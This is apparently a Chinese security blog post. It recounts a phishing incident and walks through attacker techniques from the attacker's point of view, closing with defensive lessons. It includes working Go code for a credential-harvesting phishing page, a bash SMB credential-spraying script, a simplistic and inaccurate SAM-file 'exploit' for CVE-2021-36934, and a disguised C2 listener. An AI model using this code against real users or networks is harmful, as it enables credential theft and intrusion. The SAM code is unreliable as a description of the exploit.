一、那次意外的钓鱼邮件
还记得几年前,我在一家创业型互联网公司负责安全测试。有一天,某同事突然收到一封邮件,标题是人事部发来的《绩效考核通知》。邮件内容简洁,附带一个链接,看上去像是公司内部的文档分享地址。这位同事没有多想,点击链接后输入了自己的公司邮箱和密码。不到 30 分钟,公司内网的文件服务器突然出现了异常流量,多个账户开始尝试访问核心业务系统。
当时,我立刻意识到有人在内网尝试横向移动。这起事件让我对当时的网络安全圈子有了更深刻的认识,因为攻击手法非常专业,背后团队的技术显然不是普通脚本小子能搞出来的。本文,我借这个事件来聊聊网络安全圈的几个重要「板块」,以攻击者视角剖析他们的手法和技术。
---
二、0x01 攻击板块:从社工到权限提升
信息收集:钓鱼邮件的前奏
在这起事件中,攻击者显然做了大量的前期信息收集。邮件中提到的绩效考核通知十分贴合公司当前的时间节点,因为当时正值季度绩效评估阶段,几乎所有人都在关注这件事。我后来分析了邮件的源头,发现攻击者通过公开信息挖掘(OSINT)获取了很多关于公司的细节,比如人事部的负责人名字、公司邮件模板格式等。
一个简单的钓鱼页面触发了后续链条。抓取了邮件中的伪造链接后,我进行了反向分析,发现这是一个托管在国外 VPS 上的伪造登录页面。以下是攻击者可能的构造伪造页面代码:
<pre><code class="language-go">package main
import ( "fmt" "net/http" )
func phishingPage(w http.ResponseWriter, r *http.Request) { // 伪造的登录页面 HTML html := <!DOCTYPE html> <html> <head><title>Internal Login</title></head> <body> <h1>公司内部系统登录</h1> <form method="POST" action="/login"> <label for="email">邮箱:</label> <input type="text" id="email" name="email"><br> <label for="password">密码:</label> <input type="password" id="password" name="password"><br> <input type="submit" value="登录"> </form> </body> </html> fmt.Fprintf(w, html) }
func handleLogin(w http.ResponseWriter, r *http.Request) { if r.Method == "POST" { email := r.FormValue("email") password := r.FormValue("password") fmt.Printf("Captured credentials: %s:%s\n", email, password)
// 返回一个伪造的失败页面 http.Redirect(w, r, "/error", http.StatusSeeOther) } }

func main() { http.HandleFunc("/", phishingPage) http.HandleFunc("/login", handleLogin)
// 启动伪造的钓鱼服务器 http.ListenAndServe(":8080", nil) }</code></pre>
运行这段代码后,你就拥有了一个简单的钓鱼页面,它能捕获受害者的邮箱和密码。
---
三、0x02 横向移动:我会怎么扩大战果
攻击者获取到初始登录凭据后,接下来通常会尝试扩大权限,特别是在公司使用 Windows 域环境的情况下,影响甚至可能波及整个内网。
1. 利用 SMB 协议进行横向渗透
在这次事件中,我通过抓取网络流量发现,攻击者使用了常见的 SMB 协议进行横向尝试。他们利用受害者的登录凭据尝试访问多个文件共享。
以下是攻击者可能会用的 SMB 探测代码:
<pre><code class="language-bash">#!/bin/bash
一个简单的密码有效性批量探测脚本
USERNAME="captured_user" PASSWORD="captured_password" SMB_HOSTS=("192.168.1.10" "192.168.1.11" "192.168.1.12")
for HOST in "${SMB_HOSTS[@]}"; do echo "[*] Testing SMB login on $HOST" smbclient -L //$HOST -U $USERNAME%$PASSWORD if [ $? -eq 0 ]; then echo "[+] Success on $HOST" else echo "[-] Failed on $HOST" fi done</code></pre>
这个脚本会把捕获的用户名和密码组合,尝试批量登录内网中的共享文件服务器。如果密码正确,攻击者就能轻松访问目标主机的共享目录。

2. 权限提升:绕过普通用户限制
即使登录成功,攻击者可能遇到普通用户权限限制。通常,他们会利用本地提权漏洞。我分析了目标服务器的日志,发现攻击者可能利用了一个针对 Windows 的提权漏洞(CVE-2021-36934)。以下是他们可能使用的漏洞利用代码:
<pre><code class="language-go">// 使用 Windows API 读取 SAM 文件实现提权 package main
import ( "fmt" "os" )
func exploitSAMFile() { // 读取本地 SAM 数据库 samFile := "C:\\Windows\\System32\\config\\SAM" data, err := os.ReadFile(samFile) if err != nil { fmt.Println("Failed to read SAM file:", err) return } fmt.Println("SAM file contents captured successfully:", data) }
func main() { exploitSAMFile() }</code></pre>
这个漏洞的利用点在于,某些 Windows 版本允许非管理员用户访问 SAM 文件,从而提取哈希,进一步破解密码。

---
四、0x03 流量伪装:如何隐藏痕迹
在内网横向移动中,流量伪装是必不可少的一环。攻击者很可能使用工具将他们的 C2 通信伪装成正常的 HTTPS 流量。在分析过程中,我发现以下特征:
- 使用非标准端口:C2 通信未使用常见的 443,而是伪装成常见的 Web 服务。
- 加密流量内嵌命令:通过 HTTPS 发送 Base64 编码的命令数据。
以下是他们可能使用的伪装 C2 通信代码:
<pre><code class="language-go">package main
import ( "encoding/base64" "fmt" "net/http" )
func c2Handler(w http.ResponseWriter, r *http.Request) { // 接收加密的命令数据 encodedCmd := r.URL.Query().Get("cmd") cmd, _ := base64.StdEncoding.DecodeString(encodedCmd) fmt.Printf("Received C2 command: %s\n", cmd)
// 返回伪造的正常响应 fmt.Fprintf(w, "OK") }
func main() { http.HandleFunc("/c2", c2Handler)
// 使用 8443 端口伪装 HTTPS 流量 http.ListenAndServeTLS(":8443", "server.crt", "server.key", nil) }</code></pre>
攻击者会在客户端使用类似 https://victim.com:8443/c2?cmd=ZWNobyBoZWxsbyB3b3JsZA== 的请求,伪装正常流量进行指令下发。
---
五、0x04 我的教训与反思
这起事件最终被成功遏制,但它让我意识到网络安全圈子的复杂性。很多攻击手法其实是公开的,差别只在于如何灵活组合。我总结出以下几点经验:
- 永远不要轻视信息收集:攻击往往从最微不足道的细节开始,比如一封邮件的措辞或者一个公开的 API。
- 工具链的重要性:大多数攻击者并非从零开始开发工具,他们会选择现成的工具,比如 Metasploit、Cobalt Strike。对于防御者来说,提前研究这些工具的行为模式是关键。
- 内网防护不能松懈:尤其是在 Windows 域环境中,管理员账户的保护至关重要,应该对敏感资源进行严格的 ACL 配置。
网络安全圈是一个对抗与共存的领域。如果你从攻击者的视角去看,会发现防御者的每一处疏忽,都是攻击者的突破口。而作为防御者,需要不断切换视角,让自己主动去思考「如果我是攻击者,我会怎么攻破这里」。希望这篇文章能给你一些启发。
